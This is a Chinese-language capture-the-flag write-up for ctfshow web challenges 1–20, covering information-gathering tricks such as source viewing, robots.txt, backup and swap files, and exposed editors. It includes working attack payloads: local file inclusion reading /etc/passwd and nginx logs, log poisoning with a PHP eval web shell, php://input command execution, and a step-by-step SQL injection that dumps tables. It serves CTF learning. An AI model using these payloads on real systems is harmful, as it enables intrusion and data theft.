ctfshow第一类:信息收集
web-1
打开以后直接查看源码就可以了
web-2
1 2 3
| 有几种办法 1.ctrl u查看源码,注释里的就是 2.在url前面添加view-source:
|
web-3
bp抓包重发就行了
web-4-1
第四个和B站上给的不一样,是一个文件泄露的
wp说上来可以用php伪协议进行
1 2 3
| ?url=php://input放到url后面
<?php system('ls ./');?>放到最后
|
返回error
然后bp抓包发现是nginx的,使用
1
| ?url=/var/log/nginx/access.log
|
查看日志文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 12 May 2023 06:20:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/7.3.11 Content-Length: 5003
172.12.0.6 - - [12/May/2023:05:48:15 +0000] "GET / HTTP/1.1" 200 715 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" 172.12.0.6 - - [12/May/2023:05:48:40 +0000] "GET /robots.txt HTTP/1.1" 200 715 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" 172.12.0.6 - - [12/May/2023:05:50:31 +0000] "GET /index.php HTTP/1.1" 200 715 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" 172.12.0.6 - - [12/May/2023:05:50:37 +0000] "GET /index.php HTTP/1.1" 200 715 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" 172.12.0.6 - - [12/May/2023:05:52:15 +0000] "GET /?url=/var/log/nginx/access.log HTTP/1.1" 200 1367 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" 172.12.0.6 - - [12/May/2023:05:53:41 +0000] "GET /?url=/var/log/nginx/access.log HTTP/1.1" 200 1554 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" 172.12.0.6 - - [12/May/2023:05:53:51 +0000] "GET /?url=/var/log/nginx/access.log HTTP/1.1" 200 1741 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" 172.12.0.6 - - [12/May/2023:05:54:41 +0000] "GET /?url=php://input HTTP/1.1" 200 15 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" 172.12.0.6 - - [12/May/2023:05:56:21 +0000] "GET /?url=php://input HTTP/1.1" 200 15 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" 172.12.0.6 - - [12/May/2023:05:58:04 +0000] "GET /?url=/etc/passwd HTTP/1.1" 200 2107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" 172.12.0.6 - - [12/May/2023:05:58:28 +0000] "GET /?url=/var/log/nginx/access.log HTTP/1.1" 200 2443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" 172.12.0.6 - - [12/May/2023:06:01:17 +0000] "GET /?url=/var/log/nginx/access.log HTTP/1.1" 200 2630 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" 172.12.0.6 - - [12/May/2023:06:15:45 +0000] "POST /?url=/var/log/nginx/access.log HTTP/1.1" 200 2817 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36" 172.12.0.6 - - [12/May/2023:06:15:47 +0000] "POST /?url=/var/log/nginx/access.log HTTP/1.1" 200 3032 "-" "Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3" 172.12.0.6 - - [12/May/2023:06:15:48 +0000] "POST /?url=/var/log/nginx/access.log HTTP/1.1" 200 3205 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.517 Safari/537.36" 172.12.0.6 - - [12/May/2023:06:17:51 +0000] "POST /?url=/var/log/nginx/access.log HTTP/1.1" 200 3418 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 172.12.0.6 - - [12/May/2023:06:17:56 +0000] "POST /?url=/var/log/nginx/access.log HTTP/1.1" 200 3633 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36" 172.12.0.6 - - [12/May/2023:06:17:58 +0000] "POST /?url=/var/log/nginx/access.log HTTP/1.1" 200 3843 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27" 172.12.0.6 - - [12/May/2023:06:19:16 +0000] "GET /?url=/var/log/nginx/access.log HTTP/1.1" 200 4086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" 172.12.0.6 - - [12/May/2023:06:20:01 +0000] "GET /?url=/var/log/nginx/access.log HTTP/1.1" 200 4273 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" 172.12.0.6 - - [12/May/2023:06:20:01 +0000] "GET /?url=/var/log/nginx/access.log HTTP/1.1" 200 4461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" 172.12.0.6 - - [12/May/2023:06:20:02 +0000] "GET /?url=/var/log/nginx/access.log HTTP/1.1" 200 4648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" 172.12.0.6 - - [12/May/2023:06:20:02 +0000] "GET /?url=/var/log/nginx/access.log HTTP/1.1" 200 4829 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" <html lang="zh-CN">
<head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" /> <title>ctf.show_web4</title> </head> <body> <center> <h2>ctf.show_web4</h2> <hr> <h3> <code><span style="color: #000000"> <span style="color: #0000BB"><?php </span><span style="color: #007700">include(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'url'</span><span style="color: #007700">]);</span><span style="color: #0000BB">?></span> </span> </code> </center>
</body> </html>
|
然后在user-agent后面加了一个
1
| <?php eval($_POST['cmd']); ?>
|
一句话木马,使用蚁剑连接
密码就是cmd
在var/www/下面找到flag.txt
web-4-2
机器人协议robots.txt
机器人协议,爬虫协议,本质是网站和搜索引擎爬虫的沟通方式,用来指导搜索引擎更好地抓取网站内容,
web-5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| ctf.show_web5 where is flag? <?php error_reporting(0); ?> <html lang="zh-CN">
<head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" /> <title>ctf.show_web5</title> </head> <body> <center> <h2>ctf.show_web5</h2> <hr> <h3> </center> <?php $flag=""; $v1=$_GET['v1']; $v2=$_GET['v2']; if(isset($v1) && isset($v2)){ if(!ctype_alpha($v1)){ die("v1 error"); } if(!is_numeric($v2)){ die("v2 error"); } if(md5($v1)==md5($v2)){ echo $flag; } }else{ echo "where is flag?"; } ?>
</body> </html>
|
这道题限制第一个只能是字母第二个只能是数字
第一个和第二个的md5值要相等
可以使用md5的0E绕过,详细可以来看这个
1
| https://blog.csdn.net/wangyuxiang946/article/details/119845182
|
web-6-1
这是一个文件泄露的题目,可以用www.zip下载备份文件
web-6-2
不懂为什么,我再打开一次这个是一个sql注入的题目
输入万能钥匙发现过滤了空格,
1 2 3 4 5 6 7 8
| 一般空格被过滤有如下替换方法 1./**/ 2.() 3.回车(url编码中的%0a) 4.`(tap键上面的按钮) 5.tap 6.两个空格
|
我们就选用/**/来替换空格
输入
1 2 3 4
| username=1'/**/or/**/1=1/**/union/**/select/**/1,2,3/**/#&password=123(判断回显位置)password随便写就行 username=123'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/#&password=123 #获取表名 username=123'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'/**/#&password=123 #获取列名 username=123'/**/or/**/1=1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag/**/#&password=123 #拿到flag
|
web-7
web-8
都是一样的,找到注入点后用python自动化脱库脚本爆破就好了
web-9
vim在异常关闭时会产生swp可交换文件
这道题的答案就是在里面的
web-10
将flag放到cookie里面,刷新网页然后使用F12查看cookie即可
1-10总结
前十个里面有这么几种信息收集的方式
cookie
swp交换文件
sql注入
源码,注释,bp抓包里面
绕过md5的0E等等
robots.txt爬虫协议
web-11
网站的域名也会隐藏信息
这道题中用http://dbcha.com/可以直接获得(A记录改成txt
web-12
这个题目中,他是一个网站
登录到/admin里面以后
要求输入账户密码,账户使用默认账户,密码的话网站中可能存在,所以找了找试了试最下面的电话,成功
常见的渗透思路
web-13
这个是一个考眼力的题目,他在最下面第三个里有一个唯一小些的document,并且可以打开文档。里面有这个东西的使用
说明,值得注意的是,里面的
http://your-domain/是你的域名的意思,在这个题目中的意思就是直接套到靶场的环境上就可以
web-14
打开之后是一个巨信的界面
提示说是编译器的问题,所以要在源码中搜索editor
发现一个这个
1
| <img src="editor/upload/banner-app.png" alt="App">
|
说明是有编译器的(据说是百度的
1
| http://000cf48d-1993-417b-97f9-e0c5e21627ff.challenge.ctf.show/editor/
|
打开以后可以看到有一系列的文件上传什么的,在插入文件的文件空间中
1
| /editor/attached/file/var/www/html/nothinghere/fl000g.txt
|
发现这么个东西
输入到url不对,看了show的视频说是(注意url形式
1 2 3
| /editor/attached/file/这一段是编译器的绝对路径 var/www/html/ nothinghere/fl000g.txt只需要输入这个就可以了
|
1
| http://000cf48d-1993-417b-97f9-e0c5e21627ff.challenge.ctf.show/nothinghere/fl000g.txt
|
web-15
有点社工的感觉,这道题有个邮箱提示,在网站中输入admin可以进入管理员登录界面,刚开始输入邮箱作为密码会提示密码错误,但是有一个忘记密码
忘记密码的提示是我生活在什么城市,这个可以通过QQ邮箱来进行社工,找到以后就OK了
web-16
打开是一个元素周期表,提示说是探针忘记删除了,所以可以通过tz.php进行查看参数,在里面找flag
web-17
备份的sql文件会泄露数据
backup.sql直接进就行
web-18
这道题在源码中找js文件,js里面有一个gameover
1
| \u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b)
|
在控制台中构造一个alert即可
web-19
在源码中看到
1 2 3 4 5
| if(isset($u) && isset($p)){ if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){ echo $flag; } }
|
往上看的话看到p=pazzword,u=username,post传参即可
web-20
这个是一个数据库的题,他说自己是
看了看视频说可以尝试mdb.db或者data.db或db.mdb,第三个成功了
用查看器查看就能得到(注意要拉开表
web信息收集总结
主要还是靠眼力,另外,swp,sql,数据库,探针,编译器等等也会泄露信息
此外post传参,源码,等等的也会,做题的时候注意一下